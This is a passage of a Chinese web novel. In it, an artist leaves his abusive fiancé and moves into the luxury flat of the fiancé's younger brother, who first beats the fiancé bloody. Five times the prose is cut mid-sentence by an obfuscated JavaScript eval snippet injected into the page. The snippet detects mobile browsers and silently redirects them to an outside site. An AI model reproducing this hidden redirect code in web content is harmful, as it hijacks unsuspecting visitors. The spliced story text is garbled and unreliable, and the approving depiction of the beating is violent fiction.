段焱揉了揉眼睛,确认自己没看错,眼睛里渐渐流露出些恐惧来,尽力维持着冷静,“老二啊,你、你怎么来了?” “哥。”段也道。 段焱应了一声。 “没叫你,傻逼东西。”段也道。 他走进来,手指拨弄着放在架子上的蓝牙音响。 “进去换衣服,不着急。”段也慢吞吞说道:“选件好看的衣服,多挑一会儿。” 谢玉承从沙发上起来,腿还有点发软,深一脚浅一脚地回了卧室。 门一关上,段也把蓝牙音响连上手机,选了一首最炸裂的摇滚,把声音调到最大。 “段三火。”他揉了揉脖子,一步一步朝着段焱靠近,“有些日子没见了哈,怎么越长越丑了?还吃小药丸呢,埋汰。” 段焱咽了咽口水,“老 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13534686|142318||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 二,你来我家,怎么也不提前说一声?” 段也笑起来,把手指摁地啪啪作响,“怎么着,我想来找嫂子偷情,还得提前通知你一声呗?” “……老二,那什么,我想起我还有点事儿,先走了哈。”段焱俯身往门口冲去。 段也一脚将他踹翻,紧接着一脚一脚地踹在他肚子上,眼神阴鸷地像是能杀人。 音乐声淹没了段焱的哀嚎声。 “你打他,哈?” “真好笑,老子平常连看都舍不得看的人,你他妈打他?” “段三火,你长本事了。” 段焱被打得晕头转向,想往外爬,又被段也一把拽回来,挥起拳头一下下砸在他脸上。 “老子告诉你,段三火,你他妈今天都还能姓段,那是老子赏你的!今后你敢去找承哥,老子见你一次打你一次!狗逼玩意儿!” 那炸裂的音乐声本该吵闹,此刻听起来却特别安心。谢玉承坐在房间里,依旧换的长袖长裤,呆坐着想了很多事情。 他确实怕麻烦,可有些东西,不是忍一次就过去了的,这一点,他比任何人都清楚。 那首歌重复播放了十几次,停下来的时候,谢玉承拎着装有衣服的小包走出去。 段也揉着手腕站在客厅,他面前,段焱满脸是血地躺在地上,要不是胸口还在起伏,谢玉承会以为他已经死了。 见到他,段焱低低唤了声,“玉承……” 段也抬了下手,段焱立刻就像受了惊的兔子,忙把头抱住。 “怂逼。”段也啧了一声,扬了扬下巴冷声问道:“怎么说?我下去等你?” 谢玉承别开脸,“不了,走吧。” 段也挑眉哦了一声,“行,挺好。” 5.第 5 章 段也的屏保是一幅立绘,带着墨镜的酷哥抱着电吉他在舞台上表演。 这幅画是段也二十岁的时候,谢玉承送给他的礼物。 “我生日。”段也说。 谢玉承拨开他的屏幕,找到导航,在里面输入了提前预定的酒店。 车从地下停车场拐出去,阳光倾洒在他们脸上,段也啪的一声揭下挡板,眯着眼睛单手开车。他身上的气息还阴沉沉的,谢玉承知道他在生气,不敢惹他。 毕竟这事糟心,本着家丑不可外扬的心态,他其实是不乐意让别人知道的,总觉得丢份。连楚深几个他都不愿意说,更何况是段也。 段也是个不内不外的人,半个亲戚,不是朋友,偶尔见面,从不交心,可自从段也知道了这件事后,两个人之间的关系其实发生了微妙的变化。 就好像,知道了同一个秘密的陌生人,自然而自然地会想要亲近。 谢玉承低头捣鼓着自己的手机,弄了半天,还是开不了机,怕是修不好,只能换了。 这手机他用了几年,也到该换的时候了。 什么都要换,房子、购物地址、紧急联系人、还有习惯吃的店,想想都觉得头疼。 不过还是有好消息的,至少他不用再住在这么远的地方,每天的通勤时间可以从开车一个半小时缩短到走路十几分钟。 他工作的画室在A大附近,而A大又坐落在市中心,段焱的房子位于三环外郊区,价格昂贵不说,离市中心还远,去哪都不方便。以前楚深总笑他住在乡下,他不置可否,现在想想,确实太远了。 通过收费站,车开上了外环快速路,风景从眼前闪过去,一路是绵延的稻田和食品加工厂,麻雀站在电线杆上叽叽喳喳,阳光明媚。 谢玉承突然想起刚来到这座城市的时候,他错过了学校迎新大巴,兜里的钱少的可怜,只能和几个顺路的校友拼车,五六个人挤在闷臭狭窄的面包车里,他靠着车窗昏昏欲睡。 那天的阳光也如今天这么刺眼,那时候的自己还很单纯,没有遇到后来那么多事,觉得自己正在奔向广阔的未来。 但人生是起起伏伏的。 出了快速路,车进了一环就开始堵,预定到达时间反反复复地变化,满屏都是红色。 段也烦躁地摁了摁喇叭,胳臂搭着车窗,手指捏着一个指尖陀螺玩。陀螺不停地旋转,具体的花纹已经看不清了。 迎着阳光,谢玉承看清他手背上的擦伤,血已经结了痂,看上去还是有些惹人心疼。 “谢谢。” 段也蹙眉道:“盒子里有糖,拿出来。” 谢玉承以为是他想吃,从盒子里翻出一根棒棒糖,剥了糖纸递给他。 段也接了过去,却不是给自己吃,手肘往后折去,将糖塞进了谢玉承的嘴巴里。 “你少说话,比什么都强。” 谢玉承含着糖,心想自己不才说了一句吗? 糖在嘴里化开,甜丝丝的。 十分钟后,车停在了一家快捷酒店门前。门前人来人往,来这里住的基本都是谈恋爱的学生,隔音不怎么样,胜在便宜。 “就是这里了。”谢玉承说道。 段也闷闷嗯了一声,趴在方向盘上打量了一圈酒店的外围,不怎么开心的样子。 “我先去把房间开出来。”谢玉承想要开门下去,然而车门却上了锁,试了几下没打开。 他想要问些什么,可莫名觉得车里的气氛很压抑,没敢开口。 段也:“你在车里待一会儿,我去打个电话。” 车门打开之后又砰地一声关上,段也单手插兜,后背微微弓着,他走到酒店的台阶前,对着台阶踢了一脚,拿着手机不知道在跟谁说话。 这个男人的外在过于优越了,几乎是走到哪,哪里就是视线的聚集地。 在圈子里,段也是绝对的天菜,他这种外在上看不出半点像gay,气质上直地能当标枪的男人,是个0就能为他发疯。 唯一不好的是,戾气太大,谁都敢呛。 至于段也的性取向,那就没人知道了。 车里少了个人,空气都变得温柔了许多。谢玉承长舒了一口气,头轻轻贴着车窗,突然搞不明白自己为什么会答应段也的帮忙。 说起来也很奇怪,段家两兄弟再怎么水火不容,那也是有着同一个 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13547514|142318||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 爹的亲兄弟,他想要和哥哥分手,怎么却让弟弟来帮忙搬家,还真是脑子进水了。 想来想去,段也会来帮忙肯定不是因为好心。他恨他哥恨到了某种很偏激的程度,只要段三火遇到什么糟心事,他必定是第一个打电话来冷嘲热讽的。 他哥突然被悔婚,照段也的性子,不来落井下石那才是奇怪。 帮自己搬家,大概也只是顺手的事。 打段三火一顿,肯定也不是因为自己,而是终于找到借口能光明正大地揍段三火了。 这都是段也自己意思,和别的没什么关系。 谢玉承心想。 段也的电话打完了。 谢玉承摇下车窗问:“是有事要忙吗?我这边一个人可以的,你要有事就先走吧。” 外面热的像蒸笼,段也看上去像是被晒焉了,精心抓过的头发往下耷拉着,整个人都低沉地很。 谢玉承有点担心,“阿也?是出什么事了吗?是你哥……” “承哥。” “怎么了?” “住酒店不是个事儿。” 谢玉承嗯了一声,“我知道,深儿不是在帮我找房子吗?这些天我也会去找的。” “你真信楚深那水货?等他帮你找房子,那都猴年马月去了。”段也道。 谢玉承点点头,“我也没说真指望他,找房子不是一时半会就能搞定的,我自己也会到处看看。” 段也抬起胳膊,指尖停在他面前半寸的地方,抖了抖,又收回去了。 “这是事儿是我家对不起你。” “阿也,你怎么会这么想?”谢玉承有点糊涂。 段也叹气道:“段三火,我哥,是他对不起你,我总不能真让你住酒店。” “啊?!” 谢玉承觉得自己耳朵出了问题,要不然为什么会听到段也叫老段叫哥。 段也深吸了一口气,像是下定了决心。 “深儿不靠谱,你平常要上班,在家还要接稿,酒店住起来又吵又闹还不方便,我就想着……” 谢玉承的心跳有点变快了。 “我就想,我不是有套房子吗?” 6.第 6 章 A大附近的商业综合体,这地方位居市中心,交通便捷,生活方式多样化,还有排行全省前三的顶级神盘——蓉锦。 由于地理位置太过优越,知名度太高,人人都知道这里是有钱人才住的起的房子,但也有人说,只有没见识的暴发户才会买市中心的豪宅。 不管外界评价如何,事实就是在平均房价2w的城市里,蓉锦的售价高达十万,还在逐年攀升。 二百来平的大平层,一套房子的总价超过两千万,普通人想到不敢想的地方,段也在这里一口气买了两套,上下打通,做了跃层。 “楼下是买来给乐队的,原说搞个工作室,但是太吵了,老被人投诉。我就在商业区买了间铺子,前段时间才让乐队搬过去,刚好这边就空出来了。”段也说。 “我也是想给乐队买别墅的,可惜学校周围压根没别墅,只能买间商铺了。” “阿也就是对朋友太好了,你们乐队是我见过条件最好的。”谢玉承掩唇笑笑道。 “不过别墅往二环外走会多一点,而且南门不是还有个音乐广场吗?挺适合你们搞乐队的。” 段也看了他一眼,说话突然变得支支吾吾的,“这不是……想离学校近一点,要是搬走了,不就……不就不能管酒吧了?” 谢玉承想了想也是,毕竟他们乐队在‘根据地’酒吧还有排班,段也出的工资不低,乐队的朋友肯定也很乐意赚这笔钱。 搞乐队的最怕没钱了,有段也这个金主,他们在哪都能搞地风生水起。 几个工作人员和他们擦肩而过,正在往外搬一些杂物。 段也轻咳了声,“哥,就这儿,密码告诉你了。” 谢玉承回过神,手里提着装衣服的行李包,愣愣道:“你刚才打电话是为了叫人来收拾?” 段也抓了抓头发,答非所问地说:“不麻烦,我平常住楼上,很少下来,不会打扰到你。你找到房子……找到合适的房子之前,先将就住这里吧。” 不是麻不麻烦的事,谢玉承估算了一下自己的存款,大概只能交两到三个月的房租。 这房子,不是他租的起的。 段也替他把东西都搬进去,智能家居系统检测到主人回家,自动将室内温度调控到26度,同时打开了遮光窗帘。 原本昏暗的房子一下子敞亮了,家里定期有阿姨打扫卫生,看上去一尘不染。偌大的客厅里摆放着架子鼓和钢琴,两种风格截然不同的乐器。 “对了,你别想着给我付房租啊,这地方我本来就不用,平常还要请阿姨来打扫卫生,正巧你来替我料理一下。” “还有就是,这些东西我过两天叫人搬去工作室,缺的家具我会叫人送过来,你要是有什么需要,直接call我就行。” 谢玉承放下包,“阿也要是不收钱的话,那我还是走吧。” 段也的背影轻颤了一下,慢吞吞地将搬来的画架挪到落地窗前,阳光斜斜地打过来,是个很适合画画的地方。 “哥,你觉得这地方怎么样?你在这里画画,我偶尔可以弹琴给你听。”段也笑了笑,指尖落在钢琴上简单弹奏了一个旋律。 “我是这样想的,你不肯收钱,是觉得这里房租太贵,不想让我为难。我确实也付不起这么高昂的租金,所以按照我原定的计划,照一室一厅的价格付给你,平日里还能帮你料理一下家务。” 谢玉承在心里琢磨了一遍,觉得这方案是最可靠的。自己要是干脆利落地拒绝,按照段也那个性子,怕是会不高兴。 再说,他答应这件事,其实是有点私心的。段焱一时半会儿不会放过他,可不管段焱再怎么无赖,那也不敢来段老二的家里找麻烦,除非是想死。 “等之后,如果你不方便了,或者说我找好了房子,那我就再搬出去,你看这样可以吗?”谢玉承问。 他视线看不到的地方,段也捂着胸口长长松了口气。 “行,哥,都听你的,你怎么高兴怎么来。”段也勾着唇角,忙前忙后地帮他把东西都收拾出来,嘴里还哼着愉悦的调子。 带来的东西不多,绝大部分都是工作必需品,私人用品除了衣服鞋子,其他就没什么了。 和前任有关的东西,他一概没带走。 段也拿了工具箱,找了面墙挂他的画。那是一副风景油彩,放在角落单人沙发上面,旁边再由落地灯打光,到了晚上应该会很好看。 “嗯,左边一点呢?”谢玉承站在下面指挥。 “可以了吧?我觉得可以了,就这儿挺好看的,绝对出片。”段也道。 谢玉承忍俊不禁,“什么都是出片,你怎么和深儿一个样?” 段也跳到沙发上,拍了拍手上的灰,“哥,你这话就有点侮辱人了,怎么着也不能拿我和不爱干净的老流氓比吧,他能一个星期不洗头的。” “艺术家不都那样吗?艺术家——”谢玉承拖着嗓子揶揄道, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13556274|142318||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 说完找到医药箱端过来,示意他坐下。 段也拿了消毒湿巾擦手,大喇喇地坐在沙发上,两条又长又直地腿向两边打开,拍了拍大腿,冲着谢玉承挑眉道:“坐。” “别闹。”谢玉承拉起他的手,用酒精将多余的血痂擦去,仔仔细细地处理伤口。 段也屏住呼吸,目光落在谢玉承的领口处。明明是大热的天,却必须要裹得严严实实。 一想到这幅白皙娇嫩的身体上到处是淤青,段也心里又火又苦,想要再去把段三火打一顿,又想谢玉承那天该有多难过。 段三火那个狗娘养的玩意儿再混账,好歹也是谢玉承曾经真心喜欢过的人。 被喜欢的人这样对待…… 他深吸了一口气,强压下那阵火气,十分乖顺地仍由谢玉承给他处理伤口。 “哥。”段也顺势握住他的手,目光低低垂着,“我很害怕。” “害怕什么?”谢玉承问。 “害怕,以后你不联系我了。” 谢玉承对着他伤口吹了吹,“你是觉得我和你哥……老段分手之后,再也不联系你了?” 段也委屈地点点头。 谢玉承沉默了一会儿,“阿也,本来我们就不应该联系的。” 段也猛地看向他,那双漆黑的瞳子在眼眶里收缩,像是听到什么让他胆战心惊的话。 “哥!我们俩联不联系,和段三火有什么关系?我和他不对付,但是我……我舍不得你,你对我很好。” 谢玉承揉了把他的发心,无奈道:“阿也这么受欢迎,应该也不缺我这个朋友。再说,我也只是说理论上不应该联系,但阿也如果有什么需要,平常有什么不开心,还是可以来找我。” 以往,段也每次被段焱惹毛的时候都会来画室找他。 谢玉承从来不会问为什么,也不想当缓和兄弟俩关系的和事佬,只会让他乖乖坐在画室里等自己上完课,有时候课没上完的时候段也就走了。 偶尔没走,他就会带着段也出去吃顿饭,聊聊学业上的事情,像个知心大哥哥。 有些关系是不可能修复,也没必要修复的,像段也和段焱,血缘并不能完全代表亲情,谢玉承不喜欢麻烦,更加不会参与到这种复杂的亲情关系当中去。 “我没把你当朋友,我也确实不缺朋友。”段也嗓音沉闷,身子往前倾去,受伤的手揽过谢玉承的腰,头轻轻抵在他的腹部,“但我缺一个哥哥。” 7.第 7 章 “你们都觉得我情绪不稳定,容易发脾气,这些我都知道。我这样的人,外表光鲜亮丽,其实家里的关系糟透了,除了有钱,我什么都没有。” 段也把头埋在他怀里,肆意妄为地嗅着谢玉承身上那股淡淡的茉莉花沐浴露的香味。 “只有你会容忍我的情绪,哥。” 他那些字眼说得委屈极了,呼吸隔着衣服喷薄在谢玉承柔软的腹部,激起一定程度的瘙痒。 谢玉承从来没见过他这样可怜巴巴的样子,平常只把段也当弟弟,当小孩儿,觉得娇生惯养长大的孩子脾气是骄纵了些,情绪不稳定这些都无可厚非。 他不知道段也看上去攻击性这么强的人,内心其实也有柔软的一面。 心疼了,倒是真的。 “乖,别想这么多好吗?” 谢玉承耐心地哄着他,手指挠了挠他的下巴道:“虽然我和老段分手了,但我可以保证,这不会影响到我们之间的关系,我更不会不理你。” 段也乖巧地抬起头,冲他眨巴眨巴眼睛,抬起小手指,迫不及待地道:“拉钩。” 幼稚鬼,谢玉承忍不住笑了声。 落地灯下,两根手指交缠在一起,垂落在地的阴影暧昧缱绻。段也目光灼灼,比阳光炙热,手指勾着谢玉承晃了晃,忽一用力,将他带下来了些。 急速拉近的距离,心脏不经意间加快跳动,两个人的鼻尖差一点就碰上了,谢玉承单手支在沙发扶手上,呼吸一滞。 段也的脸上里闪过一丝狡黠,委屈的神色眨眼就不见了。 “哥要是骗我的话,那我就……” 谢玉承静静等着他说完后半句。 段也思索了许久,小手指勾地更紧,“你不许骗我。” · 晚些时候接到微信语音,来自楚深。 “在干嘛呢?” “赶稿。” 谢玉承坐在沙发前,手边的茶几上放着吃空的外卖,两双筷子。 他拿着电容笔在平板上涂涂改改,“前段时间太忙,这几天又没空,眼看就要到死线了。” “我话还没说呢。”楚深嘿嘿笑了几声。 谢玉承:“你打电话来准没憋好屁,除了酒还是酒,不然能是什么?” 楚深连声叫怨,“放屁!万一我是来借钱的呢?” 谢玉承:“要钱没有,烂命一条你来收吧。” 楚深:“把你卖了就有钱了!让我琢磨琢磨买家,是卖给舍长好呢,还是卖给段某呢?” 谢玉承咳了一声,“深儿,我够累了,今儿早上搬家他还来了一趟,我心累地慌。” “来了能怎样,小魔头不是和你在一起?段三火有个风吹草动,小魔头能扑上去给他咬死!” 电话安静了几秒。 楚深喂了几声,“死了啊你?” “那什么,手机坏了,只能开免提,你到底有没有事,没事儿挂了。”谢玉承说道。 楚深嘁了一声,“别和我装疯卖傻哈,你能不知道我找你啥事?自己老实交代,说是搬去酒店,结果是搬哪去了?” 谢玉承还纳闷他怎么知道,想起先前段也似乎发了条朋友圈,看样子是把自己搬过来的事暴露了。 不过暴露就暴露了,他也没打算瞒着,于是直截了当地承认了这事儿,连带着说清楚了缘由,话里话外都透着一股‘阿也不是你们想的那样,人家是好孩子’的意思。 然而说了也是白说,楚深不可能放过这个讥讽他的机会。 “得了吧谢玉承,你就是脑子单纯,容易被男人骗!我问你,他段老二脸上是写了‘我是好人’四个字吗?你不过是觉得他长得帅,长得帅的男人都是好人是吧!” “长相可以决定好坏的话,那你是什么?” 楚深义正言辞,“当然是超级大好人!” 谢玉承:“哦。” “我说真的,老谢,你别那么傻,真当段老二是个什么阳光开朗大男孩啊?他这小子阴着呢,我这些年和他接触最多,他当你面一套,背着你又是另一套。你在的时候他就开始装好学生,你一不在,那他比流氓还流氓,比混混还混混,绝对的超级无敌小魔头!” 楚深嫌不够,又急急忙忙补一句,“你就信他吧!说不定你会被他骗地连内裤都不剩,到时候再来找我哭,晚了!” 谢玉承的笔尾轻轻戳着下巴,有点心虚地瞥向一旁。 段也盘腿坐在地毯上,开着静音玩音乐游戏。 要说先前他还没有刻意偷听的意思,这时候,他直接支着下巴,抬起他那张干干净净的帅脸把谢玉承望着,眼睛眨巴眨巴,不说话。 这样子,真有几分像阳光开朗大男孩了。 谢玉承当然不至于傻到觉得段也真是个清纯男大,可不管段也如何,这样当面蛐蛐人家也太可怕了。 他现在很希望老手机表演一个原地爆炸,或者自己当场晕倒。 “深儿……”他又咳了几声,“要不别说了吧,我住都住过来了。” 楚深道:“我可没让你搬哈!这样正巧,搁以前咱们哪有机会见识顶级豪宅?听说段也的豪车钥匙能放整整一面墙!你赶紧打开摄像头,让你患难与共、同床共枕、一个屋檐下 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13567298|142318||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 睡过四年的好基友见识见识!” 安静,漫长的安静。 楚深缩在工作室狭窄的折叠床上嗑瓜子,贱嗖嗖地揶揄道:“不是吧,谢玉承,你就这么小气?” [对方发来视频邀请。] 视频刚一接通,那头的灯光一片敞亮,楚深大笑道:“快!看看车钥匙!车钥匙!” 视频那头没人说话,但有脚步声,镜头朝着某个柜子转移,打开玻璃柜门,里面一整个柜子满满当当挂着豪车钥匙。 什么迈凯伦、法拉利都不说了,简直让人眼花缭乱。 一只手出现在屏幕当中,拿了把奥迪钥匙出来。 “RS7,我最近喜欢这辆,想试试?” 那声音…… 楚深吓得直接把瓜子对天洒了,看着视频当中出现的那张段老二的脸,他差点魂飞魄散。 “谢玉承!我操你大爷!你真的挺会坑朋友——!” [对方已挂断] 段也转头看向他,摊开手表情无奈,“哥,是我选的车让他不满意了?” 谢玉承扯了扯嘴角,尴尬地笑了声。 都、已、经、说、了、手机坏了只能开免提! 段也从玄关柜子里拿出一个包装袋,从里面取出一个手机盒。 他把手机盒放茶几,又压了一把帕拉梅拉的车钥匙上去。 “这车给你开,加满油就行。”段也道。 “阿也,用不着,我平时不太出门。”谢玉承苦笑道。 段也用舌尖顶了顶腮帮,表情有些复杂,“不是你出不出门的问题,主要是吧,我怕有人继说我是流氓混账之后,再说我是吝啬鬼。” 谢玉承屏住呼吸,尴尬地想找个地缝钻进去。 “车你开不开我不管,手机你得拿着,用不着担心,这钱我一定从段三火兜里掏。” 谢玉承点头。 “是吧,得要的,以后还是别开免提了。” 段也语焉不详地说道,转过身,脚步虚浮地往楼上走。 “我可不想再听到有人大声蛐蛐我了。” 谢玉承强装镇定地微笑道:“阿也要睡了吗?” “是啊是啊,哥。”段也走到楼梯拐角处,再看向他时,眉头往中间拧了个八字,丧着一张脸,“哥,你早点睡,待会儿要是听见磨刀声,别怕。” 脚步声消失在楼梯尽头,谢玉承忙不迭地拿过手机。 [说真的,阿也这孩子,确实有点儿焉坏焉坏的,但还蛮可爱。] 消息已发出,但被对方拒收。 谢玉承:“……” 8.第 8 章 有关上一段感情,谢玉承其实不知道该如何评价。他和老段之间一直都算不上亲密,因为那些难以启齿的原因,他们之间没有发生过实际性的性关系。 刚在一起的时候,老段偶尔还会主动要求,但每次还没进入正题就已经结束了。一直以来,他都在小心翼翼照顾着对方的情绪,从来不主动提起。 久而久之,他们的感情变得越发疏远,每天都各做各的事,晚上躺在一张床上也不会有太多的亲密举动。 从事业到生活,他和老段几乎没有任何交汇点,老段看不上楚深那几个,他也不太乐意和老段生意上的朋友过多接触。 这样看来,分手其实是必然的事。可谢玉承怕麻烦,他这人一旦进入了某种生活方式就不想再去改变,只要还能得过且过,他是不会分手的。 哪怕作为一个有正常需求的男性而言,在明知未来的婚姻生活会像一滩死水那般无趣,他也能够勉强继续下去。 事实证明,在性方面软弱的男人在别的方面同样懦弱,越是清楚自己的无能,就越会怀疑伴侣不忠。 八月中旬,北城最热的时候,阳光透过窗帘缝隙映照进来,落在谢玉承的脸上。他揉了揉眼睛,下意识去看床的另一侧。 没人。 该说不说,即便真的不爱,可一旦从已经熟悉的生活中脱离出来,他还是会感到有些无所适从,不知道该干些什么。 他刚换好衣服,门铃忽然响起来。 “阿也?” 谢玉承打开门,回头看了眼客厅的楼梯,不解道:“你怎么从这里过来?” “不是说过了吗?我不会太打扰你的,你就当没那玩意儿。”段也笑嘻嘻地走进来,手里拿着装了早餐的碟子。 “这不是有点掩耳盗铃了?” 话虽如此,但一想到段也在楼上犹豫是直接下来敲他的卧室门还是老实敲大门时,他心里莫名觉得有趣。 想不到一向大大咧咧的小魔头还挺温柔的。 “还是三明治,不过配的是橙汁。”段也说:“本来是想约你出去吃,可想到等你收拾完再出门,那就赶不上早饭了。” 谢玉承看了眼时间,已经十点了。 “你来得巧,再早点我怕是听不见你摁门铃。” 段也叼着三明治,坐没坐相地靠着椅子,眯了眯眼睛,没说话。 谢玉承调笑道:“刚才不还挺讲究的,好歹付了房租,勉强算我的家,是不是要客气一点呢?” 段也嗖地一下站起来,握拳抵在唇边轻咳了两声,“那请问,谢先生,我可不可以在你的家里吃早餐呢?” 谢玉承煞有介事地点点头,向前伸手道:“房东先生,请自便吧。” 段也兴冲冲地替他拉开凳子,“您这话可就不好听了,这是您的房子,还是您先请。” 谢玉承抿着嘴,唇边勾起一抹好看的笑意。 他的鼻尖上落有一颗痣,看上去很媚。段也从上往下看,知道不会被发现,目光便越发大胆起来,顺着那颗痣,一路往下。 谢玉承穿着版型偏大的白T,能看到锁骨和胸前一抹淤青。 不好的情绪一下子又升了起来,本该美妙的春光就这么被打碎了,段也心里不痛快,但也只能隐忍不发,好不容易把人逗开心,不能再提这些。 “其实……”段也俯下身,下巴搭在他的肩上,先是乖乖巧巧地叫了声哥,“我是看到你起床了才过来的。” 谢玉承瞬间绷紧了身体,脑海里不断思考着房间的格局,并不觉得哪里有监控。 意识到自己的话引起了什么误会,段也赶忙双手举过头顶,“哥!你别胡思乱想!是房间的智能家居!你开窗帘的时候它在小程序上给我发通知了!” 价格昂贵的房子加上价格昂贵的装修,别说窗帘是自动的,就连这个家里的气温、湿度、光线明暗,这些通通都可以调 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13575762|142318||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 整。 有钱嘛,是这样的,有钱人做什么都可以成功,哪怕是错了也无所谓,有钱人只要做成功了一件事,那就是成功。 谢玉承不知道自己为什么会想到这些,他忽然举得自己刚才那些话显得很可笑,就他那种家庭情况,能把负债还清就已经松了口气,不敢再肖想有个家,更别说买套市中心的高级豪宅。 “哥,你要是介意,我把程序断联就是。”段也道。 谢玉承摇摇头,“没事,不用那么麻烦。” 他拿着碟子里的三明治咬了一口,突然想起什么,问道:“这是在哪家店买的?味道还不错。” “是吧。”段也笑了声,“你要是喜欢的话,我每天都给你送。” “那倒不用那么麻烦,你直接告诉我,以后我上班路上顺路去买就行。” “也可以,那你早上来楼上拿吧,我给你打包好。” 谢玉承一开始还没反应过来这是什么意思,“……你做的?” “不像啊?”段也问。 “倒不是不像,就是,你哥……老段他从来不进厨房。” 这个一说出来他就后悔了,大清早的,提这么晦气的字眼干什么,难道不知道有人对这个名字敏感到一听就炸的吗。 果然,段也的脸立刻就垮下去了。 “所以你为什么要和他在一起呢?床上不行,小心眼,自卑,还大男子主义,长得也不怎么样,也就是投胎有点本事,能投进我爸情妇的肚子里。” 谢玉承咬着三明治,没敢说话。 “舍不得?该不会过段时间就复合了吧?”段也问。 他这话里话外的攻击性很强,谢玉承觉得自己哪怕是有个点头的弧度出现,段也都能当面和他掀桌子。 但这事没可能,谢玉承回答地很干脆。 段也:“那就好,你吃完之后收拾一下,我带你出门。” “去哪?” 9.第 9 章 “这你就不用管了,总之收拾地漂亮一点,带你出去也有面子。” 听到这句话,谢玉承心里有点不自在。以往和老段在一起,老段向来不喜欢他收拾打扮,除了晚上有饭局,需要他出面撑场子,这时候老段才会让他把自己拾掇出来。 一个小时后。 段也倚在门口,低头在手机上敲打着什么,听见脚步声,他抬头一看,瞳孔微缩。 正午的阳光很是刺眼,谢玉承站在逆光里,金色的扬尘在他周围盘旋。他穿着件浅V领的白色日系衬衫,银色吊坠落在锁骨中央,他的右耳下挂着一枚袖珍十字架耳坠,轻轻地,在他耳垂下面晃动。 段也的喉结上下一滚,将手机揣进兜里,突然变得局促起来。 “走吧,是要去哪?”谢玉承弓腰在门口穿鞋。 高腰黑色长裤完美地包裹出他的腰身,小腹平坦,一双腿又直又长。 一个小时的时间,谢玉承还画了个淡妆。他那些化妆品都不知道多久没有用武之地了,也不知道是出于报复心理还是单纯为了段也先前那句话,他今天确实精心打扮了一下。 段也看得发愣,有一瞬间他甚至有流了鼻血的错觉。自从谢玉承和段焱在一起之后,今天是他头一回看到谢玉承这么精致地出现在他面前。 漂亮地,简直能用美神来形容。也难怪当年他在学校的名声能火边A大所有学院,连续霸榜了四年的校草榜单。 谢玉承这种长相,就只是单纯坐在咖啡厅喝个咖啡也能引起围观,相比起他的那些画,他本人才是美院最有名气的一幅画。 段也屏住呼吸,一声不吭地摁了电梯。 他表面上维持地很正经,眉头蹙起来,到给人一种直男看到gay的那种排斥感。 谢玉承心下狐疑,觉得明明是他让自己收拾一下,怎么现在还不高兴了。 但直男都是这样的,审美不一样,他难得去细问。 进了地下室,段也今天拿的钥匙是一辆纯黑色的迈凯伦720s,蝴蝶门一打开的时候,谢玉承觉得这属实是有点张扬了。 不过他心里首先想到的是,待会儿段也要带自己去见的应该是位大人物。 好歹是正牌段家太子爷,是私生子比不了的。段也虽然嘴上说不想回家,事实是他爸妈长时间分居两地,回了家也见不到人,或许是出于愧疚,他爸妈给他的经济补偿大概是一个想都不敢想的数字。 像这样的人,除开乐队和学校的朋友外,大概还有一些同阶级的好友。 谢玉承上了车,打算今天安安静静地当个花瓶。 发动机发出沉闷的轰鸣声,段也习惯性地单手开车,一只手撑着头,在没开导航的情况下上了二环高架。 [铜钟路] 迈凯伦下了高架,速度减缓了一些,在大道上行驶了一会儿,车转进了一条主要经营花店的巷子里。 谢玉承认得这个地方。 胖子有个谈了很久的女朋友,平常大家都叫她小文,在这里开了一家花店。 车在花店前停下。 